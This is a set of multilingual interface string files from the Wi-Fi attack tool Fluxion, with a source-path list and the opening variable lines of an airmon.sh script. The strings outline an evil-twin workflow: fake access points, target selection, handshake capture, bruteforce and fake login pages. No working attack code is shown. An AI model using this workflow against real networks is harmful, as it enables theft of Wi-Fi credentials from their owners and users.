	header_askAP="Vyberte metodu útočení"
	askAP_option_1="FakeAP - Hostapd ("$red"Doporučeno)"
	askAP_option_2="FakeAP - airbase-ng (Pomalejší připojení)"
	askAP_option_4="Bruteforce - (Potřebný Handshake)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askauth="METHODA ZÍSKÁNÍ HESLA"
	askauth_option_1="Handshake ("$red"Doporučeno)"
	askauth_option_2="Wpa_supplicant(Více chyb)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthforce="Potvrzení Handshaku"
	deauthforce_option_1="aircrack-ng (Minutí šance)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthMENU="*Nahrát Handshake*"
	deauthMENU_option_1="Zkontrolovat handshake"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_webinterface="Vyberte"
	header_ConnectionRESET="Vyberte přihlašovací stránku"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	general_back="Zpět"
	general_error_1="Nenalezeno"
	general_case_error="Neznámý výběr. Vyberte znovu"
	general_exitmode="Čištění a zavírání"
	general_exitmode_1="Vypínání monitorovacího rozhraní"
	general_exitmode_2="Vypínání rozhraní"
	general_exitmode_3="Vypínání "$grey"směrování packetů"
	general_exitmode_4="Čištění "$grey"iptables"
	general_exitmode_5="Obnovování "$grey"tput"
	general_exitmode_6="Restartování "$grey"Network-Manager"
	general_exitmode_7="Vyčištění proběhlo úspěšně!"
	general_exitmode_8="Děkujeme pro používání programu fluxion"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	selection_1="Aktivní klienti"
	selection_2="Select target. Pro znovuskenování napište$red r$transparent"


================================================
FILE: language/en
================================================
header_setinterface="Select an interface"
	setinterface_error="There are no wireless cards, quit..."

	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_choosescan="Select channel"
	choosescan_option_1="All channels "
	choosescan_option_2="Specific channel(s)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	scanchan_option_1="Single channel"
	scanchan_option_2="Multiple channels"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scan="WIFI Monitor"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scanchan="Scanning Target"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askAP="Select Attack Option"
	askAP_option_1="FakeAP - Hostapd ("$red"Recommended)"
	askAP_option_2="FakeAP - airbase-ng (Slower connection)"
	askAP_option_4="Bruteforce - (Handshake is required)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askauth="METHOD TO VERIFY THE PASSWORD"
	askauth_option_1="Handshake ("$red"Recommended)"
	askauth_option_2="Wpa_supplicant(More failures)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthforce="Handshake check"
	deauthforce_option_1="aircrack-ng (Miss chance)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthMENU="*Capture Handshake*"
	deauthMENU_option_1="Check handshake"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_webinterface="Select your option"
	header_ConnectionRESET="Select Login Page"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	general_back="Back"
	general_error_1="Not_Found"
	general_case_error="Unknown option. Choose again"
	general_exitmode="Cleaning and closing"
	general_exitmode_1="Disabling monitoring interface"
	general_exitmode_2="Disabling interface"
	general_exitmode_3="Disabling "$grey"forwarding of packets"
	general_exitmode_4="Cleaning "$grey"iptables"
	general_exitmode_5="Restoring "$grey"tput"
	general_exitmode_6="Restarting "$grey"Network-Manager"
	general_exitmode_7="Cleanup performed successfully!"
	general_exitmode_8="Thanks for using fluxion"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	selection_1="Active clients"
	selection_2="Select target. For rescan type$red r$transparent"


================================================
FILE: language/esp
================================================
header_setinterface="Seleccione una interfase"
    setinterface_error="No hay tarjetas inalambricas, saliendo..."

    #
    header_choosescan="Seleccione canal"
    choosescan_option_1="Todos los canales "
    choosescan_option_2="Canal(es) específico(s)"
    #
    scanchan_option_1="Canal único"
    scanchan_option_2="Canales múltiples"
    #
    header_scan="WIFI Monitor"
    #
    header_scanchan="Escaneando objetivo"
    #
    header_askAP="Seleccione Opción de Ataque"
    askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)"
    askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)"
    askAP_option_4="Bruteforce - (Se requiere handshake)"
    #
    header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA"
    askauth_option_1="Handshake ("$red"Recomendado)"
    askauth_option_2="Wpa_supplicant(Más Fallas)"
    #
    header_deauthforce="Chequeo de Handshake"
    deauthforce_option_1="aircrack-ng (Posibilidad de error)"
    #
    header_deauthMENU="*Capturar Handshake*"
    deauthMENU_option_1="Chequear handshake"
    #
    handshakelocation_1="ubicación del handshake  (Ejemplo: $red$WORK_DIR.cap$transparent)"
    handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar"
    #
    header_webinterface="Seleccione su opción"
    header_ConnectionRESET="Seleccione página de Login"
    #
    general_back="Atrás"
    general_error_1="No_Encontrado"
    general_case_error="Opción desconocida. Elija de nuevo"
    general_exitmode="Limpiando y cerrando"
    general_exitmode_1="Deshabilitando interfaz de monitoreo"
    general_exitmode_2="Deshabilitando interfaz"
    general_exitmode_3="Deshabilitando "$grey"reenvio de paquetes"
    general_exitmode_4="Limpiando "$grey"iptables"
    general_exitmode_5="Restaurando "$grey"tput"
    general_exitmode_6="Reiniciando "$grey"Network-Manager"
    general_exitmode_7="Limpieza realizada satisfactoriamente!"
    general_exitmode_8="Gracias por usar fluxion"
    #
    selection_1="Clientes activos"
    selection_2="Seleccione objetivo. Para reescanear teclee$red r$transparent"



================================================
FILE: language/fr
================================================
header_setinterface="Sélectionnez une interface"
    setinterface_error="Pas de carte wifi detecté, fin..."

    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_choosescan="Sélectionnez un canal"
    choosescan_option_1="Tous les canaux "
    choosescan_option_2="Canal spécifique"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    scanchan_option_1="Un seul canal"
    scanchan_option_2="Plusieurs canaux"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_scan="WIFI Monitor"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_scanchan="Scan du reseau"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_askAP="Sélectionnez une option d'attaque"
    askAP_option_1="FakeAP - Hostapd ("$red"Recommandé)"
    askAP_option_2="FakeAP - airbase-ng (Connexion plus lente)"
    askAP_option_4="Bruteforce - (Handshake requis)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_askauth="METHODE DE VÉRIFICATION DU PASSWORD"
    askauth_option_1="Handshake ("$red"Recommandé)"
    askauth_option_2="Wpa_supplicant (Plus d'échecs)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_deauthforce="Vérification du Handshake"
    deauthforce_option_1="aircrack-ng (Moins de chance)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_deauthMENU="*Capture du Handshake*"
    deauthMENU_option_1="Vérification du Handshake"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_webinterface="Sélectionnez votre option"
    header_ConnectionRESET="Sélectionnez la page de connexion"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    general_back="Retour"
    general_error_1="Pas trouvé"
    general_case_error="Option inconnue. Sélectionnez à nouveau"
    general_exitmode="Nettoyage et fermeture"
    general_exitmode_1="Désactivation de l'interface de monitoring"
    general_exitmode_2="Désactivation de l'interface"
    general_exitmode_3="Désactivation de "$grey" transmission de paquets"
    general_exitmode_4="Nettoyage "$grey"iptables"
    general_exitmode_5="Restauration "$grey"tput"
    general_exitmode_6="Redémarrage "$grey"Network-Manager"
    general_exitmode_7="Nettoyage effectué avec succès!"
    general_exitmode_8="Merci d'avoir utilisé fluxion"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    selection_1="Clients actifs"
    selection_2="Sélectionnez une cible. Pour relancer un scan, touche $red r$transparent"


================================================
FILE: language/ger
================================================
header_setinterface="Wähle deine Netzwerkkarte aus"
	setinterface_error="Es wurden keine Netzwerkkarten gefunden, beende..."

	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_choosescan="Wähle deinen Kanal aus"

	choosescan_option_1="Alle Kanäle"
	choosescan_option_2="Spezifische Kanal(e)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	scanchan_option_1="Einzelner Kanal"
	scanchan_option_2="Mehrere Kanäle"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scan="WIFI Monitor"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scanchan="Scanne Netzwerke..."
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askAP="Wähle deine Angriffsmethode aus"
	askAP_option_1="FakeAP - Hostapd ("$red"Empfohlen)"
	askAP_option_2="FakeAP - airbase-ng (Langsame Verbindung)"
	askAP_option_4="Bruteforce - (Handshake wird benötigt)"
	general_back="Zurück"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askauth="Methode zum Prüfen des Handshake"
	askauth_option_1="Handshake ("$red"Empfohlen)"
	askauth_option_2="Wpa_supplicant (Mehrere Ausfälle)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthforce="Handshake-Überprüfung"
	deauthforce_option_1="aircrack-ng (Ausfall möglich)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthMENU="*Erfassung des Handshake*"
	deauthMENU_option_1="Überprüfe Handshake"
	deauthMENU_option_2="Starte neu"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_webinterface="Wähle deine Strategie aus"
	header_ConnectionRESET="Wähle deine Anmeldeseite aus"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	general_case_error="Unbekannte Option, wähle neu aus"
	general_error_1="Nicht gefunden"
	general_error_2="Datei wurde ${red}nicht$transparent gefunden"
	general_back="Zurück"
	general_exitmode="Aufräumen und schließen"
	general_exitmode_1="Deaktivierung des Monitor Interface"
	general_exitmode_2="Deaktivierung des Interface"
	general_exitmode_3="Deaktivierung "$grey"von weiterleiten von Paketen"
	general_exitmode_4="Säubere "$grey"iptables"
	general_exitmode_5="Wiederherstellung von"$grey"tput"
	general_exitmode_6="Neustarten des "$grey"Netzwerk Manager"
	general_exitmode_7="Wiederherstellung war erfolgreich"
	general_exitmode_8="Vielen Dank für die Nutzung von Fluxion"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	selection_1="Mit aktive Nutzer"
	selection_2="Wähle dein Angriffsziel aus. Um neu zu scannen tippe $red r$transparent"


================================================
FILE: language/gr
================================================
    header_setinterface="Επιλέξτε μία διεπαφή"
    setinterface_error="Δεν υπάρχουν ασύρματες κάρτες δικτύου, έξοδος..."

    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_choosescan="Επίλεξτε κανάλι"
    choosescan_option_1="Όλα τα κανάλια"
    choosescan_option_2="Συγκεκριμένο(α) κανάλι(α)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    scanchan_option_1="Μονό κανάλι"
    scanchan_option_2="Πολλαπλά κανάλια"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_scan="Εποπτεία Wi-Fi"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_scanchan="Σκανάρισμα στόχου"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_askAP="Επίλογη τύπου επίθεσης"
    askAP_option_1="FakeAP - Hostapd ("$red"Συνιστάται)"
    askAP_option_2="FakeAP - airbase-ng (Πιό αργή σύνδεση)"
    askAP_option_4="Bruteforce - (Απαιτείται το Handshake)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_askauth="Μέθοδος επαλήθευσης κωδικού πρόσβασης"
    askauth_option_1="Handshake ("$red"Συνιστάται)"
    askauth_option_2="Wpa_supplicant(Περισσότερες αποτυχίες)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_deauthforce="Επαλήθευση Handshake"
    deauthforce_option_1="aircrack-ng (Πιθανότητα αποτυχίας)"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_deauthMENU="*Λήψη του Handshake*"
    deauthMENU_option_1="Έλεγχος του handshake"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    header_webinterface="Επίλεξτε την επιλογή σας"
    header_ConnectionRESET="Επίλογη Σελίδας Εισόδου"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    general_back="Πίσω"
    general_error_1="Δέν_βρέθηκε"
    general_case_error="Άγνωστη επιλογή. Επιλέξτε ξανά"
    general_exitmode="Καθαρισμός και τερματισμός"
    general_exitmode_1="Απενεργοποίση εποπτείας περιβάλλοντος"
    general_exitmode_2="Απενεργοποίηση περιβάλλοντος"
    general_exitmode_3="Απενεργοποίηση "$grey"προώθησης των πακέτων"
    general_exitmode_4="Καθαρισμός "$grey"iptables"
    general_exitmode_5="Επαναφορά "$grey"tput"
    general_exitmode_6="Επανεκκίνηση "$grey"του Διαχειριστή δικτύου"
    general_exitmode_7="Ο Καθαρισμός εκτελέστηκε με επιτυχία!"
    general_exitmode_8="Ευχαριστούμε που χρησιμοποιήσατε το fluxion"
    # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    selection_1="Ενεργοί πελάτες"
    selection_2="Επιλέξτε στόχο. Για σκανάρισμα ξανά, πατήστε το$red r$transparent"


================================================
FILE: language/it
================================================
header_setinterface="Seleziona un'interfaccia"
    setinterface_error="Nessuna scheda di rete trovata, chiusura..."

    #
    header_choosescan="Selezione Canale"
    choosescan_option_1="Tutti i Canali"
    choosescan_option_2="Definisci Canale/i"
    #
    scanchan_option_1="Canale Singolo"
    scanchan_option_2="Canali Multipli"
    #
    header_scan="WIFI Monitor"
    #
    header_scanchan="Scansione dell'Obiettivo"
    #
    header_askAP="Seleziona Opzione d'Attacco"
    askAP_option_1="FakeAP - Hostapd ("$red"Consigliato!)"
    askAP_option_2="FakeAP - airbase-ng (Connessione Lenta)"
    askAP_option_4="Bruteforce - (Richiede handshake)"
    #
    header_askauth="MODALITA' DI VERIFICA DELLA PASSWORD"
    askauth_option_1="Handshake ("$red"Consigliato!)"
    askauth_option_2="Wpa_supplicant(Rischio di Insuccesso)"
    #
    header_deauthforce="Controllo dell'Handshake"
    deauthforce_option_1="aircrack-ng (Possibilità di Errori)"
    #
    header_deauthMENU="*Cattura dell'Handshake*"
    deauthMENU_option_1="Controllo handshake"
    #
    handshakelocation_1="posizione dell'handshake  (Esempio: $red$WORK_DIR.cap$transparent)"
    handshakelocation_2="Premi ${yellow}INVIO$transparent per avanzare"
    #
    header_webinterface="Seleziona la tua scelta"
    header_ConnectionRESET="Seleziona la pagina di Login"
    #
    general_back="Indietro"
    general_error_1="Non_Trovato"
    general_case_error="Opzione Sconosciuta. Scegli di nuovo"
    general_exitmode="Pulizia e chiusura"
    general_exitmode_1="Disabilito l'Interfaccia Monitor"
    general_exitmode_2="Disabilito l'Interfaccia"
    general_exitmode_3="Disabilito "$grey"l'invio dei pacchetti"
    general_exitmode_4="Pulisco "$grey"iptables"
    general_exitmode_5="Ripristino "$grey"tput"
    general_exitmode_6="Riavvio il "$grey"Network-Manager"
    general_exitmode_7="Pulizia avvenuta con successo!"
    general_exitmode_8="Grazie per aver utilizzato Fluxion"
    #
    selection_1="Dispositivi connessi"
    selection_2="Seleziona Obiettivo. Per effettuare una nuova scansione delle reti premi$red r$transparent"


================================================
FILE: language/ro
================================================
    header_setinterface="Selecteaza o interfata"
    setinterface_error="Nu este nici o placa de retea wireless, iesire..."

    #
    header_choosescan="Selecteaza canalul"
    choosescan_option_1="Toate canalele "
    choosescan_option_2="Canal specific(s)"
    #
    scanchan_option_1="Un singur canal"
    scanchan_option_2="Canale multiple"
    #
    header_scan="WIFI Monitor"
    #
    header_scanchan="Scaneaza tinta"
    #
    header_askAP="Selecteaza optiunea de atac"
    askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)"
    askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)"
    askAP_option_4="Bruteforce - (Handshake este necesara)"
    #
    header_askauth="METODA PENTRU VERIFICAREA PAROLEI"
    askauth_option_1="Handshake ("$red"Recomandat)"
    askauth_option_2="Wpa_supplicant(Mai multe eșecuri)"
    #
    header_deauthforce="Verificare Handshake"
    deauthforce_option_1="aircrack-ng (Sansa ratata)"
    #
    header_deauthMENU="*Capturare Handshake*"
    deauthMENU_option_1="Verificare handshake"
    #
    handshakelocation_1="Handshake locatie  (Examplu: $red$WORK_DIR.cap$transparent)"
    handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip"
    #
    header_webinterface="Selecteaza optiunea ta"
    header_ConnectionRESET="Selecteaza pagina de logare"
    #
    general_back="Inapoi"
    general_error_1="Nu a fost gasit"
    general_case_error="Optiune necunoscuta. Incearca din nou"
    general_exitmode="Curatire si inchidere"
    general_exitmode_1="Dezacticati interfata monitorizata"
    general_exitmode_2="Dezactivati interfata"
    general_exitmode_3="Dezactivati "$grey"forwarding of packets"
    general_exitmode_4="Curatire "$grey"iptables"
    general_exitmode_5="Restaurare "$grey"tput"
    general_exitmode_6="Restartare "$grey"Network-Manager"
    general_exitmode_7="Curatire efectuata cu succes!"
    general_exitmode_8="Multumesc pentru ca ati folosit fluxion"
    #
    selection_1="Clienti activi"
    selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent"


================================================
FILE: language/source
================================================

#EN
source $WORK_DIR/sites/neutra/en

#GER
source $WORK_DIR/sites/neutra/ger

#ESP
source $WORK_DIR/sites/neutra/esp

#IT
source $WORK_DIR/sites/neutra/it

#FR
source $WORK_DIR/sites/neutra/fr

#POR
source $WORK_DIR/sites/neutra/por

#RUS
source $WORK_DIR/sites/neutra/rus

#TR
source $WORK_DIR/sites/neutra/tr 

#RO
source $WORK_DIR/sites/neutra/ro 

#HU
source $WORK_DIR/sites/neutra/hu

#ARA
source $WORK_DIR/sites/neutra/ara

#CN
source $WORK_DIR/sites/neutra/cn 

#GR
source $WORK_DIR/sites/neutra/gr 

#CZ
source $WORK_DIR/sites/neutra/cz

#NO
source $WORK_DIR/sites/neutra/no

#BG
source $WORK_DIR/sites/neutra/bg

#SRB 
source $WORK_DIR/sites/neutra/srb

#PL
source $WORK_DIR/sites/neutra/pl

#ID
source $WORK_DIR/sites/neutra/id

#NL
source $WORK_DIR/sites/neutra/nl

#DAN
source $WORK_DIR/sites/neutra/dan

#TH 
source $WORK_DIR/sites/neutra/th

#HE 
source $WORK_DIR/sites/neutra/he

#Portuguese 
source $WORK_DIR/sites/neutra/por

# SVN
source $WORK_DIR/sites/neutra/svn

================================================
FILE: language/svn
================================================
header_setinterface="Izberite vmesnik"
	setinterface_error="Tukaj ni nobenega primernega vmesnika, zapiram...."

	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_choosescan="Izberite kanal"
	choosescan_option_1="Vsi kanali "
	choosescan_option_2="Določen kanal/i"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	scanchan_option_1="En kanal"
	scanchan_option_2="Več kanalov"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scan="WIFI Nadzor"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_scanchan="Skeniram tarče"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askAP="Izberite način napada"
	askAP_option_1="FakeAP - Hostapd ("$red"Priporočeno)"
	askAP_option_2="FakeAP - airbase-ng (Počasnejša povezava)"
	askAP_option_4="Bruteforce - (Handshake je potreben)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_askauth="METODA PREVERITVE GESLA"
	askauth_option_1="Handshake ("$red"Priporočeno)"
	askauth_option_2="Wpa_supplicant(Slabša zanesljivost)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthforce="Handshake preverjanje"
	deauthforce_option_1="aircrack-ng (Miss chance)"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_deauthMENU="*Zajami Handshake*"
	deauthMENU_option_1="Preveri handshake"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	header_webinterface="Izberi možnost"
	header_ConnectionRESET="Izberi prijavno stran"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	general_back="Nazaj"
	general_error_1="Ni_najdeno"
	general_case_error="Nepoznana možnost, izberi ponovno!"
	general_exitmode="Čiščenje in zapiranje"
	general_exitmode_1="Onemogočanje nadzornega načina"
	general_exitmode_2="Onemogočanje vmesnika"
	general_exitmode_3="Onemogočanje "$grey"posredovanja paketov"
	general_exitmode_4="Čiščenje "$grey"iptables"
	general_exitmode_5="Obnavljam "$grey"tput"
	general_exitmode_6="Ponovno zaganjam "$grey"Network-Manager"
	general_exitmode_7="Čiščenje je bilo uspšno!"
	general_exitmode_8="Hvala ker uporabljaš fluxion"
	# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
	selection_1="Aktivnih odjemalcev"
	selection_2="Izberite tarčo. Za ponovno skeniranje napisi $red r$transparent"


================================================
FILE: language/tu
================================================
header_setinterface="Bir Ag Secin"
    setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..."

    #
    header_choosescan="Kanal Sec"
    choosescan_option_1="Tum Kanallar "
    choosescan_option_2="Sectigim Kanal ya da Kanallar"
    #
    scanchan_option_1="Tek Kanal"
    scanchan_option_2="Coklu Kanal"
    #
    header_scan="Wifi Goruntule"
    #
    header_scanchan="Hedef Taraniyor"
    #
    header_askAP="Saldiri Tipi Secin"
    askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)"
    askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)"
    askAP_option_4="Kabakuvvet - (Handshake Gereklidir)"
    #
    header_askauth="Sifre Kontrol Metodu"
    askauth_option_1="Handshake ("$red"Tavsiye Edilen)"
    askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)"
    #
    header_deauthforce="Handshake Kontrol"
    deauthforce_option_1="aircrack-ng (Hata Sansı Var)"
    #
    header_deauthMENU="*Kaydet Handshake*"
    deauthMENU_option_1="Kontrol Et handshake"
    #
    handshakelocation_1="handshake Dizini  (Ornek: $red$WORK_DIR.cap$transparent)"
    handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin"
    #
    header_webinterface="Secenegi Sec"
    header_ConnectionRESET="Giris Sayfasini Sec"
    #
    general_back="Geri"
    general_error_1="Bulunamadi"
    general_case_error="Bilinmeyen Secenek. Tekrar Seciniz"
    general_exitmode="Temizleniyor ve Kapatiliyor"
    general_exitmode_1="Monitor modu kapatiliyor"
    general_exitmode_2="Ag Arayuzu kapatiliyor"
    general_exitmode_3="Kapatiliyor "$grey"forwarding of packets"
    general_exitmode_4="Temizleniyor "$grey"iptables"
    general_exitmode_5="Yenileniyor "$grey"tput"
    general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager"
    general_exitmode_7="Temizlik Basariyla Tamamlandi!"
    general_exitmode_8="Fluxion kullandiginiz icin tesekkurler."
    #
    selection_1="Aktif kullanicilar"
    selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent"


================================================
FILE: lib/airmon/airmon.sh
================================================
#!/bin/sh

USERID=""
IFACE=""
KISMET=/etc/kismet/kismet.conf
CH=$3; [ x$3 = "x" ] && CH=10
IFACE_FOUND="false"
MADWIFI=0
MAC80211=0
USE_IW=0
